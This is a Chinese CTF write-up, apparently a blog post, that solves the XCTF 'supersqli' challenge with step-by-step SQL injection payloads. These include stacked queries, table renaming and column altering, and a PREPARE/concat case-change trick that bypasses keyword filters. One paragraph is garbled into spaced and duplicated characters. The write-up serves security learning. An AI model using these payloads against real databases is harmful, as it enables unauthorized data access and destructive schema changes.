XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)

打开题目地址
在这里插入图片描述

之后搜索:1’ or 1=1#
在这里插入图片描述

成功返回了3条数据,说明存在SQL注入漏洞
之后先判断有几列数据,使用order by 1让返回的数据按照第一列排序:

1' or 1=1 order by 1 #

在这里插入图片描述

返回了正确的结果,并且按照第一列排序了,说明至少存在一列数据。
其实我们也可以直接从order by 2让返回的数据按照前2列排序开始的,因为再上面几次搜索的返回结果中,可以明显看到有2列以上的不同数据:
在这里插入图片描述

按照前两列排序也返回了正确的结果,说明至少存在2列数据。
之后我们使用order by 3让返回的数据按照前3列排序:

1' or 1=1 order by 3 #

在这里插入图片描述

没有第3列数据,
那我们接下来用union联合查询来利用这两列读取数据:

1' union all select 1,2 #

在这里插入图片描述

提示有关键词过滤:preg_match("/select|update|delete|drop|insert|where|\./i",$inject)
对一些关键的SQL语句的大小写的正则匹配,所以这里使用联合注入不可行,只能考虑其他不带这些SQL关键词的注入方式,如盲注、堆叠注入。

方法一、堆叠注入

使用堆叠注入可以同时执行多个SQL语句,例如分开执行显示所有数据库的语句:

1';show databases;#

在这里插入图片描述

还可以显示当前数据库中所有的表:

1';show tables;#

在这里插入图片描述

之后我们可以显示这两个表的列名,显示表1919810931114514的列名(数字为表名操作时要加反引号):

1';show columns from `1919810931114514`;#

在这里插入图片描述

1';show columns from words;#

在这里插入图片描述

可以看到每一列值的属性,但是show是无法直接查看值的内容的。
其中表1919810931114514中有一个属性的名称就是flag,应该就是flag所在的位置;表words的2列属性就是开始我们查询的时候输出的2列值。
所以现在的后台代码大概逻辑就是:

select * from words where id = $inject;

直接将我们输入的 i n j e c t 参 数 的 值 拼 接 到 S Q L 语 句 进 行 数 据 库 查 询 , 所 以 默 认 输 出 的 是 w o r d s 表 中 的 内 容 。 而 我 们 现 在 要 输 出 的 是 表 1919810931114514 中 的 f l a g 的 值 所 以 我 们 的 一 种 攻 击 思 路 就 是 : ( 1 ) 先 把 表 w o r d s 改 成 其 他 的 表 名 如 t e s t ; ( 2 ) 然 后 再 把 表 1919810931114514 重 命 名 为 w o r d s ; ( 3 ) 把 f l a g 字 段 改 为 i d 字 段 或 者 添 加 一 个 i d 字 段 。 这 样 我 们 输 入 的 inject参数的值拼接到SQL语句进行数据库查询,所以默认输出的是words表中的内容。而我们现在要输出的是表1919810931114514中的flag的值 所以我们的一种攻击思路就是: (1)先把表words改成其他的表名如test; (2)然后再把表1919810931114514重命名为words; (3)把flag字段改为id字段或者添加一个id字段。 这样我们输入的 injectSQLwords1919810931114514flag1wordstest21919810931114514words3flagididinject参数实际上查询的就是表1919810931114514中的数据。

1、rename修改表名和alter change修改列名

因为是可以使用堆叠注入,可以一次性完成上面3条语句,更改表表名用到的是rename,语法是:

rename tables 旧表名 to 新表名;

所以(1)把表words改成其他的表名如test:

rename tables `words` to `test`;

(2)然后再把表1919810931114514重命名为words:

rename tables `1919810931114514` to `words`;

修改列名用到的是alter change,语法是:

alter table 表名 change column 列名 新列名 属性

(3)把flag字段改为id字段:

 alter table `words` change column `flag` `id` varchar(100);

合起来的搜索语句就是:

1';rename tables `words` to `test`;rename tables `1919810931114514` to `words`; alter table `words` change column `flag` `id` varchar(100);#

在这里插入图片描述

执行之后没有报错。
再查看当前表中的所有数据:

1' or 1=1#

在这里插入图片描述

得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}
我们再看一下我们刚刚的修改对数据库造成的影响:

1';show tables;#

在这里插入图片描述

现在数据库中的表是test和words了,另外原来的表1919810931114514中没有flag等于1的值所以搜索1现在没有符合要求的结果了:
在这里插入图片描述

也可以继续查看我们刚刚的修改对表test和words中的列造成的影响:

1';show columns from test;#

在这里插入图片描述

test表就是原words表中的内容。

1';show columns from words;#

在这里插入图片描述

words表就是原1919810931114514中的内容,且flag字段已经被我们改成了id字段。

2、rename修改表名和alter add添加列名

先重启一个容器,保证数据库中的数据都是没有被更改的。
在这里插入图片描述

这个攻击和上面不一样的只是攻击步骤(3)中是添加一个id字段,添加用的alter add,语法是:

alter table 表名 add (字段的名称 字段的类型 (附加属性));

(3)添加一个id字段,这句SQL语句的意思是在words表中添加一个id字段,它的类型是int(11)、primary key是主键、auto_increment)是值自动加1:

1;alter table `1919810931114514` add (id int(10) primary key auto_increment);#

和前面的语句合起来就是:

1';rename tables `words` to `test`;rename tables `1919810931114514` to `words`;alter table `words` add (id int(11) primary key auto_increment);#

在这里插入图片描述

执行成功,
因为有了自增加的id字段,所以直接搜索1,就是flag所在的数据:
在这里插入图片描述

得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}
查看当前words表的列属性:

1';show columns from words;#

在这里插入图片描述

成功添加了id字段。

方法二、handler语句

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。handler语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
后台只是过滤了select|update|delete|drop|insert|where关键字,没有过滤handler,尝试:

1' union handler words read first;#

在这里插入图片描述

但是这是一个MariaDB的数据库,无法使用handler关键字,所以这里是不可行的。

方法三、预编译

利用此方法的前提是支持多语句查询,也就是堆叠查询。
通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:
(1)词法和语义解析
(2)优化sql语句,制定执行计划
(3)执行并返回结果
我们把这种普通语句称作Immediate Statements。
但是很多情况,我们的一条sql语句可能会反复执行,或者每次执行的时候只有个别的值不同(比如select、query的where子句值不同,update的set子句值不同,insert的values值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements。
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能将输入的参数和SQL语句分隔开来,可以防止sql注入。
MySQL的预编译语法分为定义预编译SQL语句和执行预编译语句:
//预编译SQL语句

PREPARE stmt_name FROM preparable_stmt;

//执行预编译语句

EXECUTE stmt_name [USING @var_name [, @var_name]];

解释一下,定义的时候stmt_name是变量名,代表这个SQL语句,preparable_stmt代表的是预留的SQL语句中的参数位置,而下面举个例子:

PREPARE test FROMSELECT (? + ?);//即定义了一个两数相加的SQL预编译语句

执行时,@var_name即变量,可以带入语句中进行执行,如:

SET @a = 1,@b = 2;//给变量赋值
EXECUTE test USING @a,@b;//执行

就相当于执行了select (1+2);
这道题目主要就是利用预编译,可以利用concat()将关键词拆分成2个变量合并起来,来绕过过滤的正则表达式的匹配,也可以将整个语句使用char()处理后执行。
拆分开来就是:

-1;
set @sql = concat(‘sel’,‘ect * from 1919810931114514;);//定义一个@sql变量,在后台运行的时候使用concat将sel 和ect连接起来
prepare stmt from @sql;   //定义stmt变量指向预编译@sql语句
execute stmt; #   //执行stmt变量

合并起来一起运行就是:

1';set @sql = concat('sel','ect * from `1919810931114514`;');prepare stmt from @sql;execute stmt;#

在这里插入图片描述

但是后台还用strstr函数过滤了set和prepare关键字,但是strstr函数只能过滤了小写的"set"和"prepare"关键字,
我们都改成大写它就无法匹配了:

1';Set @sql = concat('sel','ect * from `1919810931114514`;');Prepare stmt from @sql;execute stmt;#

在这里插入图片描述

也能得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值